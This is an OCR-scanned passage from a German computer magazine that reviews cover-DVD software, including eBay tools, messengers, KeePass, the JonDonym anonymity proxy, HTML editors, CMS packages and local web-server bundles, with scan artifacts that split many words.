erled igen.  Der steuert den Desktop e i nes 
entfernten Rechners übers I nternet, u m  dort 
zum Beispiel Systemeinste i l ungen zu ändern 
oder Software zu i n sta l l ieren.  Außerdem 
zeichnet TeamViewer S itzungen auf, u m  eine 
An le i tung fü rs nächste Ma l  zu haben, und  
überträgt Dateien.  D ie  Software eignet s ich 
auch zur Steuerung unbemannter Server. 

eBay 

Zwar gewinnt der Handel mit Neuware 
zum Sofortkauf auf eBay a l lmäh l ich d ie 

Oberhand,  aber es g ibt dort im mer noch 
Schnäppchen zu ersteigern. Biet-0-Matic ist 
ein Aukt ionsbeobachter und Last-Mi nute­
B ietautomat, der die Jagd nach günst igen 
Angeboten er le ichtert, auch auf  Hood und 
eGun .  E ine Erweiteru ng fü r F i refox über­
n immt Auktionen d i rekt per Kontextmenü i n  
das  Prog ra mm, das dann  h i lft, im  r icht igen 
Moment zuzusch lagen.  Es i nformiert per E­
Mai l ,  etwa wen n  der vorgemerkte Betrag be­
reits überboten wurde. Biet-0-Matic funktio­
n iert a uch,  wenn das Konto mit e inem Si­
cherheitssch l üssel geschützt ist. 

Die Vol lvers ion eBay SmartSei ler 
Startup Edition erleichtert den regel­

mäßigen Verkauf g leicher oder ähn l icher Ar­
t ike l  du rch edit ierbare Templates. Es sch reibt 
nach Absch lu ss e i nes Geschäfts die Rech­
n u ng, wenn  nötig auch Mahnungen und  
d ruckt Versandaufkleber. Der  Nach richten­
manager organ is iert den E-Ma i l -Verkehr  m it 
den Kunden und verwa ltet Newsletter. Um­
satzübersicht und Gebührenstatist ik zeigen, 

· -1 

Die Vol lversion eBay 
SmartSeiler funk­
tioniert auch mit 

Konten, die durch 
einen Sicherheits­

schlüssel geschützt 
sind. 
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wie  gut d ie Geschäfte laufen.  Das  Prog ramm 
in sta l l ie rt s ich a l s  F ree-Version, besch ränkt 
auf 5 Art ikel und 500 Auktionen. Um daraus  
kosten los e ine Sta rtU p-Vers ion zu machen, 
d ie 1 00 Artikel und bel iebig viele Auktionen 
verwa ltet, müssen Sie sich u nter Angabe per­
sön l icher  Daten a uf www.smartstore.com/ 
heise/ct 1 5 1 2/sel reg istr ieren, die ID lautet 
heisect 1 5 1 2sel. Nach Absch luss der Reg istrie­
rung erha lten Sie per Ma i l  e inen Lizenz­
sch lüssel, den Sie im Menü u nter .,?/Lizenzie­
ren . . .  " e ingeben. 

Der eBay-Browser GarageBuy erleich­
tert d ie Suche nach Auktionen und So­

fortka uf-Angeboten .  Er aktua l i s iert Ange­
botsseiten automatisch, zeigt e ine Übersicht 
mit  Thu m bna i l s  a l l e r  Auktionsb i lder  und 
nutzt das Meldesystem Growl zum Anzeigen 
von I nformationen auf dem Desktop, um bei­
sp ie lsweise ein geändertes Höchstgebot zu 
melden. 

Al lerlei 

Onl ine-Chat ist zwar u ra lt, aber tota l in .  
Denn se i t  der  stä nd ige Kontakt zum 

sozia len Netzwerk das Befi nden der eigenen 
Persön l i chkeit best im mt, g i lt E-Ma i l  a ls zu 
langsam und Telefon ieren als zu aufd ri ng­
l ich. Miranda IM ist auf sämtlichen gäng igen 
Plattformen wie AlM, Facebook, ICQ, Yahoo 
und Jabber zu Hause. Mit Add-ons lässt sich 
das Prog ramm fü r zah l reiche Sprachen und 
zusätzl iche Aufgaben erweitern. 

Pidgin ist e in  weiterer l n stant­
Messag ing-C i ient, der vie le der 

gängigen Netze auch u nter L inux ersch l ießt. 
Mit M i randa gemein hat er die Erweiterba r­
keit. 

Wie viele Passwörter können Sie 
sich merken?  N icht d iese e i nfa­

chen, d ie häufig schon beim An legen eines 
Kontos abgelehnt werden, sondern jene mit 
Groß- und Klei nbuchstaben, Ziffern und Son­
derzeichen,  m indestens  achtste l l ig ,  besser 
l änger. Und wie viele Konten und Zugänge 
n utzen S ie? Wenn bei I h nen d ie  erste Zah l  
k le iner ausfä l l t  a l s  d i e  zweite, benötigen Sie 
KeePass Password Safe, das I h re Passwort­
sam m l u ng in Obhut n immt - gesch ützt 
d u rch ein s icheres Masterpasswort. P rakti­
scher Zusatzn utzen :  Wenn Sie ein neues 
Konto an legen,  l i efert I h nen das Tool das 
passende, s ichere Passwort dafür. KeePassX 
ist das Pendant für Mac OS X, das die Daten­
bank  der Windows-Version lesen kann .  (ad) 
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Maskenbal l  

Goog le  u n d  Konsorten 
schauen uns beim Su rfen 

über d ie Schu lter und sammeln I nformatio­
nen, was uns · im  Web so i nteress iert. Sie 
meinen es ja nur g ut; sch l ieß l ich wol len sie 
n iemanden mit  Werbung beläst igen, d ie  
i hn  gar n icht i nteressiert. Doch längst n icht 
jedem gefä l lt es, zum Beispiel m it Anzeigen 
von On l i ne-Apotheken ü berfl utet zu wer­
den, nachdem er e ine Aids-Aufklärungs­
seite besucht hat. 

Sich unerkannt an  den Sensoren der Werbe­
netze und  Tracki ng-Dienste vorbei zu 
schleichen ist a l lerd ings  kei n  le ichtes U nter­
fangen. Die On l i ne-Spione g re ifen näml ich 
von mehreren Seiten an :  S ie erkennen den 
I nternet-Ansch l u ss a n  der  I P-Ad resse und  
den  Browser anhand von  Daten, d ie  s i e  
zuvor abge legt ha ben ode r  d ie  s ie  m i t  
Skripten aus  dem System lesen. 

Nur wer seinen Browser und d ie P l ug- ins 
richtig einstel lt, deren diverse Speicher regel­
mäßig rein igt, die Ausführung von Spionage­
Skripten verh indert und seine I P-Adresse ver­
schleiert, hat die Chance, so wenig Spuren zu 
h interlassen, dass er anonym unterwegs ist. 
Es g ibt viele Produkte, die das versprechen, 
doch nur wenige gehen al le Punkte an .  Dazu 
gehört JonDonym. 

Die erste Komponente i st JonDo, das den 
l nternet-Traffic d u rch e ine Proxy-Kaskade 
leitet, um die I P-Adresse zu verschleiern.  Die 
Daten werden von Station zu Station wei­
tergereicht, wobei jede d ie  Absender- I P  
du rch i h re eigene ersetzt. N u r  s i e  ha t  Zugriff 
auf die Adresse der vora ngehenden Station 
und kan n  d ie  Antwortpakete dorth i n  zu­
rückleiten.  Die Kaskade a rbeitet nach dem 
Mix-Prinzip: Selbst wen n  jemand den einge­
henden und  ausgehenden Datenverkeh r  
de r  Kaskade überwachen könnte, würde er 
nicht erfah ren, wer auf welchen Server zu­
g reift. 

Um d iesen Mechan i smus  zu n utzen, muss 
man JonDo von der  Heft-DVD i n sta l l ieren 
und im  Browser als P roxy e i ntragen.  Die 
kosten lose Vers ion des Dienstes i st a uf 30 
b is  50 KBit/s p ro Sekunde gedrosselt, auf 
2 M Byte g roße Downloads begrenzt und 
bed ient nur d ie HTIP(S)-Ports. Der kosten­
pfl icht ige P remium-Dienst l i efert üb l icher­
weise zwischen 600 KBit/s und  1 ,5 MBit/s, 
sperrt led ig l i ch  den SMTP-Port (wegen 
Spam) und kan n  von a l len SOCKSS-fäh igen 
Prog rammen genutzt werden. 

Die Premi um-Tarife werden nach dem Volu­
men der ü bertragenen Daten abgerechnet. 
Mit dem 1 6-ste l l igen Gutscheincode, der  
über "Audio-Video" auf der Heft-DVD aufge­
druckt i st, erha lten Sie 1 ,5 G Byte, die S ie 
zwischen 1 .  J u l i  und  30. September 201 2 
nutzen können .  Den Jon Donym-Code 
geben Sie während der I nsta l lation e in .  Ach­
tung: Der Code fun ktioniert n icht, wenn  Sie 
im  C l ient bereits e in  Konto angelegt haben1 
S ie müssen d iesen dann mit a l len Kontoein­
stel l u ngen (vorher s ichern) de insta l l ieren 
und neu aufsetzen .  

Die I P-Adresse zu versch leiern i st aber nur  
e in  erster Sch ritt i n  R ichtung Anonymität. 
Um ganz ans Ziel zu ge langen,  muss man 
außerdem den F i refox-Browser und das Zu­
satzprogra mm JonDoFox i n sta l l ieren. Letz­
teres ste l l t  angefangen bei der Suchmaschi­
ne a l les auf maximalen Schutz vor Spähern 
e in .  Außerdem insta l l iert das Programm et­
l iche E rweiterungen,  d ie  u nter a nderem 
verh i ndern, dass der Browser zu v ie l  über 
sich, das System oder zuvor besuchte Seiten 
verrät. Um a l les zu aktivieren, wählt man im  
Browser das P rofi l "JonDoFox". Dan n  wird 
auch der zuvor insta l l ierte JonDo-Proxy ge­
nutzt. 

Auf der  DVD s ind JonDo und  Jon DoFox fü r 
d i e  d re i  Betr iebssysteme i n  je e inem Zip­
Arch iv zusammengefasst. Au ßerdem i st 
noch das  I SO-I mage e iner  bootfä h igen 
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Firefox speichert Ihre penönl ichen E instel lungen und Daten in 
Ihrem persönlichen Profi l .  

� dehu� I Profil �orste l len . . .  J 1, JonDofox 

I Profil jimbenennen . . . I 
Profii iOschen . . . 

EJ Jetzt l!ffi ine arbeiten 

!0 Beim Starten nicht 
nachfragen 

I Firefox starten J I Seenden 

JonDoFox schützt Firefox vor Spionage­
versuchen. Um die Schilde hochzufahren, 
wechselt man ins Profi l JonDoFox. 

Live-CD entha lten, d ie  e in  fert ig  konfi­
g u r iertes L inux  zum a nonymen Su rfen, 
Ma i len  oder Verwa lten eines Servers ent­
hä lt. A l lerd ings  ist das Booten von CD eine 
recht zähe Ange legenheit. Es empfieh l t  
s ich daher, das I mage bootfäh ig  auf e inen 
USB-Stick zu packen .  Wie das  mit  UNet­
boot in  ei nfach geht und  was man mit der 
CD a l les anfangen kann ,  i st u nter www. 
anonym-su rfen.de/he lp- l ive-cd/jondo-l ive­
cd.htm l besch rieben .  

Standardmäßig fi nden be i  der Live-CD a l le  
Schre ibzugriffe a uf der RAM-Disk statt, so­
dass das Geschriebene nach dem Neusta rt 
verloren i st. Wen n  man a l so mit der Live­
CD e in  P rem i u m-Konto a n legt und  den 
Gutsche incode verwendet, muss man d ie 
Kontodaten vor dem Neusta rt u n bed ingt 
export ieren. Das geht a m  einfachsten mit 
e inem zweiten USB-Stick, der beim Booten 
a utomatisch a l s  besch re ibbares Laufwerk 
e ingebunden w i rd .  Ü ber  " E i n stel l u ngen/ 
Beza h l u ng/Konten/Export" speichert man 
die Daten dort als passwortgeschützte 
Datei a b, d ie  s ich  ü br igens auch  in d ie  
C l ients u nter Windows und Mac OS X im­
portieren lässt. 

!.�CV�n.•un 00 l8 0011 : . � 

Y SpeedPartner-Cyrax: 

Nutzerzahl: 551 / 1000 

Betrelber: 

Geschwlndlqkelt: 40 kblt/s 

Antwortzeit: !S 1000 ms 

End-IP·Adresse:  1 78. 33.255. 1 88U 

Restvolumen: 

• Obertraqene verschlüsselte Daten: 

.,. Hilf anderen Menschen (Anti-Zensur) 0 Ein 

Einstellungen . . .  

Bezahlen 

o svte Aktivität: r r r r r r 
Aktivität: r r r r r r 

[oeil� Locke i•I · Goose !!!li - Piuto 

,. locke-Goose .. Piuto: 

Nutzerzahl: 19 

B etreiber: 1!!!1 1!!!1 lllll 
Geschwlndlqkelt: :o 800 kblt/s 

Antwortzelt: 1000-750 ms 

End-IP-Adresse: 64. 118. 81. 1 58!11 

Restvolumen: 

!'instellungen . . .  

1 . 497,0 MByte 

... übertraqene verschlüsselte Daten: 13, 0  KByte Aktivität: r r r r r r 
... Hilf anderen Menschen (Anti-Zensur) 0 Ein Aktivität: r r r r r r 

0 [!] � [ Assistent . . .  [ [  Jl_eenden I 0 [!] � I Assistent. . .  I I  Jl_eenden 
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Nach Eingabe des Gutscheincodes auf der Heft-DVD erhöht 
sich die Geschwindigkeit des anonymen Surfens beträchtlich. ct 
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U m eine e infache Webseite zu gesta lten, 
genügen als Handwerkszeug ein Text­

editor, ein B i ldbearbeitungsprogramm sowie 
ein Browser. Al lerdings sol lte man schon ver­
stehen, was man damit tut. I nsbesondere a l s  
E insteiger steht man oft wie der sprichwört­
l iche Ochs vorm Berg. 

Lernstoff 

X Es wäre schön, ma l  von 
einem Profi ohne Zeit­

d ruck erklä rt zu bekommen, was HTML und 
CSS eigentl ich s ind,  wie d ie  versch iedenen 
Standards zusammenhängen und wie i n  wel­
chem Browser man Webdokumente testet. 
Zum Beispiel in  einem deta i l l ie rten Videotra i­
ning. Das hat den Vortei l ,  dass man sich jedes 
Kapitel i n  Ruhe so oft a nsehen kann,  b is man 
wirkl ich a l les erfasst hat. 

Die DVD enthält die ersten Kapitel des Vi­
deotra in ings HTML und CSS - Einstieg für 
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Anspruchsvol le  von v ideo2bra i n .  Tra i ne r  
Anse lm  Hannemann, de r  e i ne  e igene Web­
Agentu r betreibt, besch re ibt dar in  zunächst 
d ie  Gesch ichte von HTML, CSS u n d  Java­
Scr ipt und wie HTML-, CSS- und JavaScr ipt­
Date ien in e ine r  Webseite zusammen­
spie len .  

Hanneman n  ste l lt kurz Texted itoren und 
Adobe Dreamweaver fü r d ie  Bearbeitung 
von Web-Dateien vor. Anschl ießend geht  es  
u m  d ie  Grund lagen der  Ausze ichnung  mit 
Tags, Attr ibuten, Werten und Kommentaren 
sowie Codeformatierungen und elementare 
Doku menteigenschaften :  das  Grundgerüst, 
um den Aufbau von Webseiten nachvol lzie­
hen zu können.  

Webtech n i ken entwicke ln  X s ich laufend weiter. Beson­
ders Cascad ing Stylesheets sind i n  den letz­
ten Jahren stark erweitert worden.  Das eröff­
net dem Webdes igner  neue kreative Mög-

l i chkeiten, ste l l t  ihn a ber  auch vor immer 
neue Probleme. M itu nter tre iben ihn 
Browser-Bugs zur  Verzweifl ung,  und es stel lt  
s ich immer wieder d ie F rage: Kann er Funk­
t ionen n utzen, d ie  bereits von e in igen 
B rowsern u nterstützt werden, von a nderen 
aber n icht? 

Das Buch Fortgeschrittene CSS-Techni­
ken von l ngo Chao und Cori na Rudel, er­
sch ienen bei Ga l i leo Comput ing,  g re ift die 
Probleme auch erfah rener Webdesigner und 
Entwickler auf. Die vier Kapitel des Buchaus­
zugs auf der DVD behandeln a l lesamt "CSS­
Pr inzipen, d ie  n icht selbsterkl ä rend s ind". 
Dazu gehört u nter a nderem d ie  Spezifi kati­
on, d ie  ä rger l icherweise Grau bereiche ent­
hä lt: Bereiche, d ie  versch iedene Browser­
Herste l ler  u ntersch ied l ich umgesetzt haben, 
ohne dass bis auf Weiteres e in  gemeinsamer 
Standard i n  Sicht i st. 

Aber auch auf den ersten B l ick elementar 
ersche inende D inge wie d ie  verti ka le oder 
horizonta le Anordnung  von Elementen hän-
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gen von1 so vie len Faktoren a b, dass man 
schon mal  den Ü berbl ick ver l ieren kann .  D ie  
Autoren demonstr ieren m it v ie len  k le inen 
Be isp ie len,  was sch iefgehen kann ,  und 
geben Tipps fü r den U mgang mit l nkons is­
tenzen i n  modernen Browsern. 

JavaScript wurde u rsprüng­
l ich a l s  einfaches Helfer le in 

entwickelt, um mit dem Browser zum Beispiel 
Formulareingaben überprüfen können, bevor 
er sie an den Server sendet. M ittlerwei le lau­
fen komplette Office-Su iten im Browser; ohne 
den mass iven E insatz von JavaScr ipt wären 
viele Dienste nicht denkbar. 

Wer als Webentwickler JavaScript e insetzt, 
sol lte daher - wie bei jedem anderen Soft­
ware-Projekt auch - wartbaren Code produ­
zieren. Stoyan Stefanov besch reibt in seinem 
bei O'Rei l l y  ersch ienenen Buch JavaScript 
Patterns, wie Muster he lfen können, Feh ler  
zu vermeiden. Er  r ichtet s ich dabei gezielt an  
erfah rene Prog rammierer, d ie  i h re Prog ram­
mierfäh igkeiten ausbauen wol len .  

Muster s ind dabei im  weitesten S inne Lö­
sungen fü r häufig auftretende Probleme. 
Dabei ka n n  es s ich u m  so e i nfache D inge 
hande ln  w ie  Namenskonventionen, d ie zum 
Beisp ie l  he lfen, m i t  e inem B l i ck  auf  d ie  
Namen sehen zu kön nen, ob e ine Funkt ion 
a ls Konstru ktor oder a ls normale F u n kt ion 
fu ngiert. (\ Der hei l ige Gra l  der Anwen­

d ungsprog rammierung ist 
heutzutage für viele d ie Entwickl ung von 
Apps für Mobilgeräte. Etl iche Webdienste und 
Periodika bringen Apps heraus, um ih re I nha l ­
te auch auf Smartphones oder Tablets präsen­
tieren zu können.  Aber welche P lattformen 
g i lt es zu berücksichtigen? Entwickelt man na­
tive Apps, die nur auf den jewei l igen Zielplatt­
formen laufen, oder setzt man auf F lash, Java 
oder HTMLS? Und welche Entwickl ungsum­
gebung n utzt man fü r welchen Zweck? Diese 

I neo 0.1o 
CorinA Rudet 

lngo Chao und Corina Rudel geben in 
ihrem Buch Hilfestellungen bei vielen 
vertrackten CSS-Problemen. 
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Fragen beantwortet der eng l ischsprach ige 
Mobile Developer's Guide To The Galaxy 
von Enough Software. 

Das Buch, das bereits in der zehnten Auf­
lage vorl iegt, beg leitet angehende Mobi lent­
wickler a uf den ersten Sch ritten .  Fü r  a l l e  
P lattformen - Android,  bada, B lackberry, 
F lash ,  iOS, J2ME, Qt, Sym bian ,  Windows 
Phone, Windows 8 und "Mobi le Widgets" auf 
Basis von HTML, CSS und JavaScr ipt - rei ßt 
das  Büch le in  kurz d ie  wicht igsten Themen 
wie Voraussetzungen, Implementieren, Tes­
ten und Veröffent l ichen an .  

Kapitel zu Themen wie Cross-P lattform­
Werkzeuge, Mobi i-Websites, Rich Media, N FC 
und Accessib i l ity feh len ebenfa l l s  n icht. Das 
Buch bietet kei ne vol l ständ igen Prog ram­
miera n le i tung (en),  sondern vie l mehr  eine 
kompakte Ü bers icht, was es a l les g i bt, und  
vor  a l lem:  viele wertvol le  H i nweise auf wei­
terfü h rende Websites und Literatur zu a l len 
Themen. 

Schreibgehi lfen 

Auch wenn  Pu risten HTML und  Co.  l ieber mit 
dem Texted itor bearbeiten, wei l s ie damit  
d ie vol le  Kontro l le  ü ber den Quel ltext haben 
- manchmal  kan n  e in WYSIWYG-Editor e ine 
g roße H i lfe sein .  

Mit Coclitw Pt11terus 1111d lillflnnjimmsh.'rll 
Zll IJeUertm}atoaScrlpt-Anuvmdwq�m 

O REILLY' I "YYIOOf. ••••• 
StoJ�'" StefanOll 

Dt:!fd&CI:Jto lJIJC.'r.i,'fZIIttg /."011 1boorws 0t'ffliii/R 

Wie JavaScript Patterns helfen, 
sauber zu skripten, erklärt Stoyan 
Stefanov. 

Trainer Anselm 
Hannemann erklärt 
in "HTML und 
CSS - Einstieg für 
Anspruchsvol le" die 
Grundlagen der 
Webentwicklung. 

Kompozer ist zum Beispiel 
gut  geeignet, wenn es 

darum geht, e inen schnel len Entwurf umzu­
setzen oder mal rasch e ine Layoutva riante 
auszu probieren. Der Editor kann  dazu e ine 
Seite d i rekt von ih rer Web-Adresse laden.  Mit 
dem eingebauten CSS-Editor gemachte Än­
derungen am Layout zeigt Kompozer in  der 
WYSIWYG-Ansicht an. Das Programm enthält 
einen integ rierten, FTP-Ci ient und einen Site­
Manager, mit dem man d ie  komplette Site 
verwa lten kann .  

Der Entwickler kan n  jederzeit zwischen 
einer rei nen Vorschau ,  einer Vorschau mit 
den HTML-Boxen ink lusive Verweisen auf 
Skr ipte und Kommenta re sowie e iner Vor­
schau mit Tags umschalten. Außerdem hat er 
immer Zugriff auf den Quel ltext Kompozer 
erzeugt HTML 4.0 oder XHTML 1 .0 (strict oder 
trans itiona l ) .  Das Prog ramm lässt sich durch 
Add-ons erweitern, etwa m it deutschen 
Sprachdateien fü r d ie Bed ienoberfläche und 
d ie  Rechtschre ibkorrektu r, e inem DOM ln­
spector oder e inem L ink Checker. 

Der HTML-Editor ist aus dem Nvu hervor­
gegangen, der wiederum von der Editor-Kom­
ponente in Mozi l l as  Browser-Su ite abstammt. 
Kompozer wurde lange Zeit n icht mehr ak­
tua l is iert. Die auf der DVD entha ltene Version 
0.8 beta3 stammt aus dem März 201 0. 

Don't Panic 
MOBILE DEVELOPER'S 
GUIDE TO THE GALAXY 

Der Mobile Developer's Guide To 
The Ga laxy ist ein Wegweiser für 
angehende Mobil-Entwickler. 
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Mit Website XS 
pflegt man seine 
Website vom PC 
aus. 

1 =., --· 

2 ---
3 - ..., ._ 
4 - -

ill -s .... 
[�][�] 
[:J 

Q Inhalte-Verwalter 

X BlueGriffon i st ebenfa l l s  
e i n  Abkömml ing von Nvu. 

Das Prog ramm wird aktiver weiterentwickelt 
als Kompozer; die auf der DVD enthaltene 
Version stammt aus  dem Mai 20 1 2 . Auf den 
ersten Bl ick erscheint B lueGriffon so vielseitig 
wie Kompozer. Al lerd ings  

'
s ind e in ige Menü­

punkte nur L inks auf kostenpfl ichtige Erwei­
terungen.  Wer zum Beispie l  auf "CSS Style­
sheet Editor" kl ickt, der landet auf der Add­
ons-Website: Die Erweiterung CSS Pro Ed itor 
ist dort fü r 9,99 Euro zu erwerben. Auch d ie 
"One Cl ick Template" oder der MathML-Edi­
tor s ind nur gegen Bares erhält l ich.  

Dass Bl ueGriffon kommerzie l ler ausgerich­
tet ist a ls  Kompozer, wi rkt s ich bereits bei der 
I nsta l lation aus .  Die Sch ne l l i n sta l lat ion von 
B lue Griffon r ichtet e ine Werbele iste im 
Browser ein; daher sol lte man d ie erweiterte 
I nsta l lationsvariante n utzen (Custom Insta l la­
tion), in  der man das vermeiden kann .  

N ichtsdestotrotz i st B l ueGriffon e in  le is­
tungsfäh iger HTML -Ed itor, der schon von 
Haus aus eine deutsche Bed ienoberfläche 
und Rechtschre ibkorrektur  mitbri ngt. Der 
Benutzer kann  zwischen einer WYSIWYG-An­
sicht mit hervorgehobenen Kommentaren 
oder einer Tag-Ansicht umscha lten; a lterna­
tiv steht jederzeit der Quel ltext bereit. 

Inha lte-Verwa lter 

Wächst die Website, lässt sie sich "von Hand", 
mit Texteditor und  FTP-Programm nicht 
mehr s innvol l  verwa lten. E in Profi muss ran, 
e in sogenanntes Content Management Sys­
tem, ku rz CMS. CMS machen es überhaupt 
erst mög l ich, komplexere Websites im Team 
s innvol l  zu betreiben. 

Wer noch nie mit einem CMS zu tun ge­
habt hat, wird vermutl ich mit e inem 

Desktop-CMS zunächst am besten kla rkom­
men. Es läuft als PC-Anwendung.  Die DVD 
enthält die Versjen 9 des Desktop-CMS Web­
site XS Smart. U nter der Adresse www. 
websitex5.com/magazine/ct20 1 2  erhalten 
Sie einen Sch lüssel, der das Programm dauer­
haft freischa ltet Diese Aktion läuft bis zum 
3 1 .  1 2. 201 2. 

1 1 8 

wao.t • Wibfjtt. ltut • ö "vo'l ltlnd", r  
... �c.ortM:�$>fltlm. tiiiii"YYt lii Wtrebtn. 

Website XS füh rt den Benutzer beim Ent­
wurf einer neuen Website du rch einen Assis­
tenten. Zunächst legt man den Titel und die 
U RL der Seite fest, auch e ine Beschre ibung 
und ein Favicon lassen s ich dort vergeben. An­
schl ießend stel lt das CMS 36 Layouts zur Wahl ,  
d ie  zudem noch i n  mehreren Farbva rianten 
vorl iegen. Auf Wunsch lassen sich auch ind i­
viduel le Grafiken für das Layout verwenden. 

Nach dem Layout entwi rft man d ie S ite­
map, a l so die Struktur  seiner Site. U nter der 
Hauptebene lässt s ich mit Website XS Smart 
e ine weitere Ebene an legen, maximal  stehen 
25 Seiten zur  Verfügung - fü r e ine private 
oder kle ine Vereins-Hornepage völ l ig  ausrei­
chend. Der Gesta ltung einze lner Seiten legt 
Website XS e in  tabel lenartiges Raster zugrun­
de. Standardmäßig stehen zwei mal  zwei Fel­
der für I nha lte bereit; der Benutzer kann  aber 
auch weitere Zei len und Spa lten e infügen. 

l n  jedes Rasterfe ld  fügt man einen Text, 
e in  B i ld ,  e ine F lash-Animation, e in  Video­
oder Aud ioelement e in .  Für Texte ste l lt Web­
site XS e inen WYSIWYG-Editor bereit, andere 
I nha lte lassen s ich entweder von der  Fest­
p latte laden oder mit i h rer URL  verl i n ken .  
Nach der Bearbeitung der Seiten lädt  der e in ­
gebaute FTP-Ci ient von Website XS s ie a uf 
den Server. Wer mit der Smart-Version von 
Website X5 an  seine Grenzen stößt, kann  auf 
eine g rößere Version des Programms umstei­
gen (ab 29,95 Euro). 

SmartStore.biz i st e in CMS für Onl ine­
Shops, mit dem man die Seiten loka l  

pflegt und das Ergebnis zeitgesteuert oder 
manuel l  auf einem bel iebigen Webserver ver­
öffentlicht. Der WYSIWYG-Editor, die freie Plat­
zierung von Inha lts-Conta i nern per Drag & 
Drop und die mitgel ieferten, konfigurierbaren 
Designs  erleichtern den Aufbau eines Shops. 
Der bietet Funktionen wie eine Grundpreisbe­
rechnung nach Preisangabenverordnung, va­
riable Versandkosten abhängig von Lieferziel 
oder Beste l lwert und die Vorbereitung fü r 
eine TrustedShops-Zertifizierung. 

Auf der  Heft-DVD fi nden S ie d ie  Vers ion 
SmartStore.biz 6. S ie nutzt d u rchgehend 
HTMLS, CSS3 und jQuery, was zum schnel len 
Seitenaufbau beiträgt. Das Megamenü sorgt 
m it g rößeren Navigationsflächen fü r eine be­
queme Bed ienung ,  wäh rend das Shr ink­
Menü den vorhandenen P latz optima l  aus­
nutzt. Mehrspa lt ige B i ldera nsichten bieten 
eine Zoom- und Lightbox-Funktion, der Con­
tent-S i ider ste l l t  Seiten inha lte als Dia-Show 
dar. Bel iebige Modu le  lassen sich in  Tabs dar­
ste l len,  d ie der Spl itter horizontal anordnet. 
E i n  H igh l ight  ist der  dockba re Warenkorb, 
der i n  der Fußzei le  des Shops stets zur Hand 
i st. Shops lassen s ich mit  sozia len Netzwer­
ken wie Facebock oder Goog le+ verbinden. 

Das Setup-Programm auf der DVD instal­
l iert d ie kosten lose F ree-Version, d ie Sie mit 
einem Lizenzsch lüssel zur Vol lversion StartUp 
aufwerten können.  Sie verwa ltet 1 00 statt 20 
Produkte, bietet etl iche Zusatzfunktionen und 
enthält P lug- ins fü r a l l e  gängigen Bezah l ­
d ienste wie PayPa l oder  sofortüber­
weisung .de. Dazu müssen Sie sich auf der 
Seite www.smartstore.com/heise/ct 1 5 1 2/biz 
reg i strieren und dabei die ID heisect 1 5 12biz 
eingeben. Sie erha lten dann per E-Mai l  einen 
Lizenzsch lüssel , den Sie im Menüpunkt "Li­
zenzieren . . .  " rechts oben unter dem Fragezei­
chen eingeben. 

X Das Content Management 
System Typo3 l äuft im 

U ntersch ied zu Website XS und Smart­
Store.biz a uf dem Webserver. Es e ig net s ich 
n icht, u m  ma l  eben sch ne l l  e ine k le ine pr i ­
vate Hornepage aufzusetzen .  Typo3 ist eher 
e in  Schwergewicht, das  vie lfä lt ige Mög l ich-

Die Eingabe 
a l ler Daten vom 
Setreiber bis hin 
zu den einzelnen 
Artikeln macht mit 
SmartStore.biz viel 
Arbeit, dafür ist das 
Erstel len des Shops 
selbst sehr einfach. 
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keiten ' b ietet, das  Backend und  d ie  Site­
Struktur  a n  die versch iedensten Gegeben­
heiten a nzu passen .  

So lassen s i ch  zum Beispiel  redakt ionel le 
Workflows mit versch iedenen Bearbeiterrol­
len fü r I nha lte umsetzen .  Wo das Basissystem 
nicht genügt, lässt s ich Typo3 mit Hunderten 
von Add-ons erweitern .  Ab Seite 1 62 finden 
Sie einen ausfüh rl ichen Art ikel , der das Auf­
setzen und den Betrieb e iner Typo3-Site be­
sch re ibt. Der Preis fü r die Vielseit igkeit von 
Typo3 ist seine kompl izierte Admin i stration, 
auch setzt Typo3 eine le istungsfäh ige Web­
server-Umgebung voraus .  

Auch e ine dynamische, da­
ten ban kgetr iebene Web­

site lässt sich vora b lokal testen .  Das Paket 
XAMPP bietet das Rüstzeug dazu. Es richtet 
auf dem loka len PC e ine fert ig konfigu rierte 
Laufzeitumgebung mit e inem Apache-Web­
server, e iner  MySQL-Datenbank sowie den 
Laufzeitu mgebungen fü r d ie  Prog rammier­
sprachen PHP  und  Per l  e in .  Das X i m  Pro­
grammnamen steht fü r die d rei P lattformen, 
fü r d ie das Programmpaket erhält l ich i st. 

U nter Windows l ä sst s i ch  XAMPP wa h l ­
weise a l s  permanent l aufender D ienst oder 
a ls Anwen d u n g  e i n r ichten.  in der  zweiten 
I n sta l lat ionsva riante sta rtet man d ie  e i nzel­
nen Komponenten ü ber ein kleines Applet. 
XAMPP ist als Testu mgebu ng konz ip iert 
und sol lte auf keinen Fa l l  i n  der  Lieferkonfi­
g u rat ion fü r den P rod u ktive insatz gen utzt 
werden.  

AMPPS geht noch e inen 
Sch ritt weiter. Auch d ieses 

fü r den loka len  E i nsatz konzip ierte Paket 
umfasst e inen Apache-Webserver, e ine 
MySQL-Datenbank, P H P  und  Per l .  Darüber  
h inaus  insta l l iert es be i  Bedarf 265 Serveran­
wendungen auf Basis von PHP oder Perl m it 
e inem Kl ick .  AMPPS d ient dem Herste l l e r  
Softacu lous zur Demonstration seiner Tech­
n ik - mit einem Kl ick i nsta l l ierbare Weban­
wendungen -, d ie er an  Webhoster verkauft. 
Das Desktop-Pendant AMPPS i st aber völ l ig 
kosten los. 

AMPPS lässt s ich so e i nfach i n sta l l ieren 
wie XAMPP. Auch AMPPS ste l l t  e in  Applet 
bereit, ü ber das man den Apache-Server und 
d ie Datenbank sta rtet. K l ickt man ansch l ie­
ßend auf den Horne-Knopf im Applet, sol lte 
der Browser u nter der Adresse http://loca l­
host/ampps/ d ie Startseite des Systems zei­
gen. Dort hat man u nter anderem Zugriff auf 
phpMyAdmin ,  mit dem man d ie MySQL-Da­
tenbank admin i striert. 

Am l i nken Rand l i stet AMPPS die i n sta l l ier­
baren Anwendungen auf. Das Sortiment i st 
i n  24 Kategorien a ufgetei l t .  Es re icht von 
Blogs und Calendars über Ad Management, 
ERP und Customer Support bis h i n  zu Educa­
tional und Music.  in der Rubr ik  "B iogs" um­
fasst das Angebot neben dem bekanntesten 
Vertreter Ward Press auch  die wen iger  ver­
breiteten Nuc leus, b2evolution und Textpat­
tern sowie die Exoten Open Blog, LifeType, 
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? AMPPS bündelt 
265 Web-Anwen-

� dungen in einem 
* Paket. 

Add Domon 
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Features 

Dotc lear, egg B iog, Pix ie, P ivotX und  Chyrp. 
Die Rubr ik  "Porta l s/CMS" enthält sogar  35 
Anwendungen. Wer eine davon n icht  auf An­
h ieb i n  der Ü bersichts le iste findet, kann  per  
Vol ltextsuche danach fahnden.  

AMPPS ste l l t  jede App l ikat ion m it e iner  
Ku rzbesch re ibung vor, fü r v ie le enthä lt  es  
auch Screenshots, sodass  man s ich e inen 
